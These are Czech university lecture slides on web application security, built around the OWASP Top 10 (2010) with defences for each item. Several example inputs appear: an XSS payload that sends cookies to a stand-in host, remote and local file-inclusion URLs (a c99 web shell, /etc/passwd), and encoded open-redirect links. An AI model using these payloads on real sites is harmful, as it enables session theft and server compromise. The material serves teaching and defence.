Bezpečnost a bezpečné programování

Bezpečnost a bezpečné programování 10. Bezpečnost webových aplikací

Ing. Tomáš Zahradnický, EUR ING, Ph.D.

České vysoké učení technické v Praze Fakulta informačních technologií Katedra počítačových systémů

Příprava studijních programů Informatika pro novou fakultu ČVUT je spolufinancována Evropským sociálním fondem a rozpočtem Hlavního města Prahy v rámci Operačního programu Praha — adaptabilita (OPPA) projektem CZ.2.17/3.1.00/31952 – „Příprava a zavedení nových studijních programů Informatika na ČVUT v Prazeÿ. Praha & EU: Investujeme do vaší budoucnosti T. Zahradnický (ČVUT FIT)

Bezpečnost webových aplikací

MI-BPR, 2011, Předn. 10

1 / 20

OWASP Top 10 bezpečnostních risků pro rok 2010 [2]

1

Injekce

2

Cross-site Scripting (XSS)

3

Špatná správa sessions

4

Insecure Direct Object References

5

Cross-Site Request Forgery (XSRF)

6

Security Misconfiguration

7

Insecure Cryptographic Storage

8

Failure to Restrict URL Access

9

Insufficient Transport Layer Protection

10

Unvalidated Redirects and Forwards

T. Zahradnický (ČVUT FIT)



2 / 20

Injekce SQL

Podrobně na přednášce 9. Injekce je běžná, snadno exploitovatelná a může mít rozsáhlé následky, zvláště, pokud je použit pro připojení k DB účet s vysokou úrovní oprávnění. Ochrana před injekcí: Důsledně kontrolovat veškerý vstup, který bude předáván DB a zajistit jeho správné escapování. Vyhnout se dynamicky generovaným dotazům všude, kde je to jen možné. Používat parametrizované dotazy Používat procedury




3 / 20

Injekce Souboru (File Inclusion) I

Velmi nebezpečný a velmi často používaný útok. Jde o útok na „includeÿ souborů, jejichž jméno je dynamické. Server načte buď vzdálený soubor zadaný útočníkem (Remote File Inclusion, RFI), anebo lokální soubor (Local File Inclusion, LFI). U RFI soubor obsahuje exploit např. shell c99.php. U LFI jde o zranitelnost typu Information Disclosure a v kombinaci s jinými metodami lze dosáhnout také spuštění exploitu. Game over.

kořist.php

Skript očekává, že hodnota parametru Útočník ale namísto barvy zadá například URL — http://server/kořist.php?COLOR=http://bž.com/c99 (RFI), nebo soubor — http://server/kořist.php?COLOR=/etc/passwd, http://server/kořist.php?COLOR=C:\foo.txt%00 (LFI). T. Zahradnický (ČVUT FIT)



4 / 20

Injekce Souboru (File Inclusion) II

Pokud RFI selhává, ale funguje LFI, je nutné škodlivý kód dostat na server jiným způsobem — například pomocí log poisoning: Při přístupu k neexistujícímu souboru X se do přístupového logu zapíše informace, o tom, že byl žádán soubor X a že neexistoval. Pokud útočník jako jméno souboru dá kód exploitu, je zanesen do logu. Pomocí LFI pak stačí si nechat vypsat z disku přístupový log, a tím může dojít ke spuštění kódu exploitu.

Obrana proti RFI/LFI: Důsledně kontrolujte, jaké soubory includujete do vašich skriptů. Zvažte implementaci chroot jailu. U PHP vypněte v php.ini nastavení allow_url_fopen a allow_url_include.




5 / 20

Cross-site Scripting (XSS) I XSS je velmi rozšířený způsob útoků, který je středně obtížný, a který může mít středně závažné následky. XSS nastává, pokud není uživatelský vstup dostatečně prověřen a dostane se (na výstup) do serverem generovaných stránek. S příchodem Web 2.0 a technologiemi jako například AJAX je XSS obtížněji detekovatelné.

JavaScript se zranitelností na XSS page += "";

Útočník namísto čísla kreditní karty zadá řetězec: ’><script>document.location = ’http://bž.com/cookie.cgi?foo=’ + document.cookie


6 / 20

Cross-site Scripting (XSS) II Namísto očekávaného HTML

Dostáváme HTML <script>document.location = ’http://bž.com/cookie.cgi?foo=’ + document.cookie

Modře je náš kód, červeně vstup zadaný uživatelem (útočníkem). Důsledky: vložený kód načte cookie pro doménu, ve které je napadená stránka, cookie odešle na server bž.com, který ji dá k dispozici útočníkovi, pokud se cookie používá pro autentizaci ap., může se útočník pokusit vydávat za nás (impersonation) a vůbec nepotřebuje znát naše heslo.

Obrana proti XSS Správně escapovat všechen uživatelský vstup. Používat whitelisting. T. Zahradnický (ČVUT FIT)



7 / 20

Špatná správa sessions I

Běžný typ útoku, který může mít závažné následky. Uživatel se připojí k serveru a je mu zřízena nová session, do které server ukládá uživatelská data. Session id je unikátní pro každého uživatele a často se ukládá do cookie, anebo i přímo do URL: http://www.bž.cz/index.php?sid=de178bcbb0bf9000

Útočník může zcizit session id (hodnotu parametru sid) přímo z URL, nachytaného síťového provozu, anebo prostřednictvím XSS, a použít ho na jiném počítači k vydávání se za okradeného uživatele (session hijacking). Pokud je serveru podstrčeno session id a nedochází k jeho vytvoření serverem, mluvíme o session fixation.




8 / 20

Špatná správa sessions II Ochrana proti session hijacking: Používejte šifrování na úrovni transportní vrstvy. Velmi ztíží útok odchytem síťového provozu, ale neuchrání vás přes XSS. → Je třeba se bránit i proti XSS.

Je vhodné svázat session id s IP adresou, user agentem a případně i dalšími údaji o uživateli například formou MD5 hashe. Pokud někdo zcizí a použije uživatelovo session id, je téměř vyloučené, že hash bude stejný a přístup bude zamítnut. Ochrana proti session fixation: Nastavujte pro každou session expiraci a důsledně ukončujte (vymazávejte) každou session při odhlašování uživatele. Ponechávejte uživatelská data, ale měňte u nich session id (regenerujte session). Pokud jste opravdu paranoidní, měňte session id při každém požadavku. T. Zahradnický (ČVUT FIT)



9 / 20

Insecure Direct Object References I Aplikace často používají jména objektů jako parametry, které se později propagují do nižších vrstev, ke kterým již daný uživatel nutně nemusí mít právo přístupu: http://server/soubor.cgi?user=pepa&column=3

Příklad v C++ String* query = S"SELECT * FROM zamestnanci WHERE user = ?"; OldDbConnection* conn = new OldDbConnection(connectionString); OleDbCommand* command = new OleDbCommand(query, conn); conn->Open(); command->Parameters->Add(new OleDbParameter( S"user", OleDbType::VarChar)); command->Parameters[ S"user" ]->Value = JMENO_UZIVATELE_Z_WEB_DOTAZU ; OleDbDataReader* reader = command->ExecuteReader(); try{ while( reader->Read() ) { reader->GetString( CISLO_SLOUPCE_Z_WEB_DOTAZU ); } } __finally { reader->Close(); conn->Close(); }




10 / 20

Insecure Direct Object References II Když uživatel (útočník) změní URL, ze kterého se přímo používá část jako jméno sloupce v DB pro selekci a číslo sloupce pro projekci: získá uživatel data jiného uživatele změnou uživatelského jména v dotazu (Information Disclosure)? získá uživatel informaci z jiného sloupce databáze změnou čísla sloupce v dotazu (Information Disclosure)?

Doporučení: Snažte se vyhnout přímému použití jmen, které se budou mapovat přímo na jména objektů a používejte raději nepřímé odkazy na objekty. Pamatujte, že reference mohou být per user anebo i per session. Ověřujte, zda daný webový uživatel, který se nutně nemusí shodovat s uživatelem DB má opravdu právo k dané položce DB přistupovat. Příklad. U HTML elementu input typ option bude mít atribut value hodnotu MD5 hashe, která bude počítána z identifikátoru session a pořadového číslo položky. Hashe pak lze snano mapovat na názvy objektů a při té příležitosti kontrolovat práva uživatele. T. Zahradnický (ČVUT FIT)



11 / 20

Cross-Site Request Forgery (XSRF, CSRF) I Ten typ útoku je také velmi běžný. Útočník nastraží na webovou stránku škodlivý kód, který je přistupující obětí vykonán. Kód je spuštěn z počítače oběti, která se tak stává původcem následků kódu.

Příklad CSRF Uživatel (oběť útoku) používá internetové bankovnictví od České předražené banky, a.s. Programátor bankovní aplikace ukládá, po úspěšné autentizaci uživatele, do cookie číslo session, které je nezbytnou součástí každé bankovní transakce. Útočník zřídí webovou stránku, na kterou umístí škodlivý kód, řekněme takto (možností je opravdu mnoho): Útočník pošle uživateli e-mail v HTML, případně jinak přiměje oběť spustit jím zadaný kód. Tento kód se připojí ke stránkám banky, a protože je spuštěn z prostředí uživatele, je proveden ze stejného počítače, stejné IP adresy, a protože má uživatel stále přítomnu cookie se správnou autentizací, je, aniž by o tom uživatel věděl, proveden pod jeho účtem platební příkaz převádějící peníze na účet útočníka.




12 / 20

Cross-Site Request Forgery (XSRF, CSRF) II Poznámky k omezení možností útoku přes CSRF: Používejte metodu POST namísto metody GET všude, kde je to jen možné. V PHP používejte proměnnou $_POST a ne $_REQUEST, ikdyž je to méně pohodlné! Je vhodné do každé stránky a i linky v ní vložit kus dat unikátních pro každého uživatele (token). Pro útočníka bude téměř nemožné token uhodnout, zvláště, když bude platnost tokenu časově omezena. Pokud token v některé lince chybí, může útočník vytvořit linku vedoucí na vaši stránku a uspět s CSRF. Hodnotu tokenu ověřovat vždy před provedením citlivé operace. Token je vhodné umístit do vstupního pole typu hidden. Pokud je token součástí URL, je snažší pro útočního ho zachytit, a proto je důležité, aby měly tokeny svoji časovou platnost. T. Zahradnický (ČVUT FIT)



13 / 20

Security Misconfiguration Dalším běžným problémem, který lze snadno odhalit a snadno zneužít. Špatné nastavení zabezpečení se může odehrát na mnoha místech (aplikace, webový server, aplikační server, databázový server, použité knihovny, firewall, vlastní nastavení OS, atd.). Za špatné nastavení můžeme považovat i příliš detailní výpisy chyb, které mohou útočníkovi mnoho napovědět. Příklad. Vaše aplikace používá knihovnu X, ve které je objevena zranitelnost. Jak dlouho bude vaše aplikace díky chybě knihovny X zranitelná? Příklad. Zapomenete na webserveru vypnout výpis adresářů. Díky tomu může útočník procházet adresáře a stáhnout si jakýkoliv soubor — například PHP skripty ve zdrojové formě. Příklad. Zapomenete vymazat výchozí uživatele u DB serveru. Příklad. Váš server je dostupný přímo přes Remote Desktop do světa! T. Zahradnický (ČVUT FIT)



14 / 20

Insecure Cryptographic Storage Častá chyba, která se však obtížně detekuje, snadno exploituje a má závažné následky. Podrobně viz přednáška 7. Doporučení [2]: Po zvážení všech hrozeb, před kterými chcete ochránit data se ujistěte, že používáte šifrování všude, kde je to nezbytné a používáte silné, současné a standardní šifrovací algoritmy. Ujistěte se, že zálohy dat jsou šifrovány odděleně od klíčů, které jsou spravovány odděleně. Ujistěte se, že používáte standardní silné šifrovací algoritmy a silné klíče, a že používáte bezpečnou správu klíčů. Ujistěte se, že přístupová hesla jsou hashována pomocí současných standardních hashovacích algoritmů a že používáte solení. Ujistěte se, že všechny klíče a hesla jsou ochráněny před neautorizovaným přístupem. T. Zahradnický (ČVUT FIT)



15 / 20

Failure to Restrict URL Access Ne zcela běžný typ problému, zato snadno exploitovatelný. Aplikace ne vždy správně ošetřují požadavky na stránky. Přístup k URL bývá nastaven na úrovni: konfiguračního souboru — může být špatně nastaven, a/nebo na úrovni programu — snadno se stane, že se na takové ošetření zapomene.

Často se stává, že je neautorizovanému uživateli dovoleno přistoupit k autorizovaným souborům, anebo je běžnému uživateli umožněno přistoupit ke stránkám, které vyžadují vyšší úroveň oprávnění.

Příklad špatného omezení Než je klientovi naší webové aplikace vůbec dovoleno přistoupit k URL naší webové aplikace, musí se autentizovat našemu serveru. Autentizaci i správu uživatelů ponecháme na OS. Po úspěšné autentizaci je uživateli umožněn přístup k jedné či více URL na serveru. Naše aplikace je psána v ASP.Net a rozlišuje 3 úrovně přístupu: zákazník, prodejce a administrátor. OS tedy povoluje zdali přístup vůbec povolit a naše aplikace se rozhoduje má-li klient právo s danou stránkou pracovat. Často se stává, že vývojář aplikace zapomene ověřit, jestli může klient s danou stránkou pracovat. Klientovi pak stačí přepsat část URL, čímž může získat přístup do jemu nepříslušející části aplikace. T. Zahradnický (ČVUT FIT)



16 / 20

Insufficient Transport Layer Protection Častá chyba, kterou lze snadno detekovat, ale je složité ji exploitovat. Aplikace často nechrání síťový provoz. Mohou sice používat SSL/TLS pro autentizaci, ale dále již ne a je tedy možné pomocí síťového analyzátoru zachytit data, identifikátor session ap. Dalším problémem je nesprávné použití certifikátů, které způsobí zobrazení varování uživateli. Zkuste si nachytat trochu síťového provozu vaší webové aplikace. Možná budete hodně překvapeni! Doporučení: Vyžazujte použití SSL na všech citlivých stránkách. Všechny požazavky na ne-SSL zabezpečené stránky by měly být přesměrovány na stránky používající SSL. Všechny citlivé cookies by měly mít nastaven příznak secure. Nastavte SSL tak, aby podporoval jen silné algoritmy (FIPS 140-2). Ujistěte se, že váš certifikát je platný, neexpiroval, nebyl zrušen a obsahuje všechny domény vaší stránky. T. Zahradnický (ČVUT FIT)



17 / 20

Unvalidated Redirects and Forwards I Ne zcela běžná chyba, která je zato velmi snadno exploitovatelná. Aplikace často potřebují provést přesměrovat uživatele na jinou stránku. Někdy pro tyto účely používají část URL. Pokud cíl přesměrování není dostatečně zabezpečen, může být stránka zneužita k přesměrování na jinou, mimo naší website, škodilou stránku. Uživatel žije v domnění, že útočníkem zaslaný link je neškodný, protože přece zná naši společnost, a proto je vysoká šance, že útočníkovu linku spustí.

Příklad 1 http://www.našestránka.cz/redirekt.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%2E%6F%72%67




18 / 20

Unvalidated Redirects and Forwards II Příklad 2 — někdy ani nemusí použít redirekt! http://www.našestránka.cz@%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%2E%6F%72%67

Doporučení: Zkuste se vyhnout použití redirektů a forwardů. Když už musíme, nenechávejte část URL určit kam přesměrovat. Když opravdu není jiná cesta, ujistěte se, že je redirekt platný a možný pro daného uživatele. Do URL přidejte jako další parametr MAC (tedy hash z cíle přesměrování a nějakého tajného klíče). Stránka provádějící přesměrování MAC ověří a provede forward anebo skončí s chybou. Poznámka. Při přesměrování požadavků na systém plateb GPWebPay musí URL povinně obsahovat dokonce digitální podpis všech ostatních předaných parametrů!




19 / 20

Bibliografie

Howard M., LeBlanc D.: Writing Secure Code, 2nd edition, Microsoft Press, 2003. OWASP Foundation: Open Web Application Security Project, https://www.owasp.org/index.php/Main Page, 2011.




20 / 20

Bezpečnost a bezpečné programování

Recommend Documents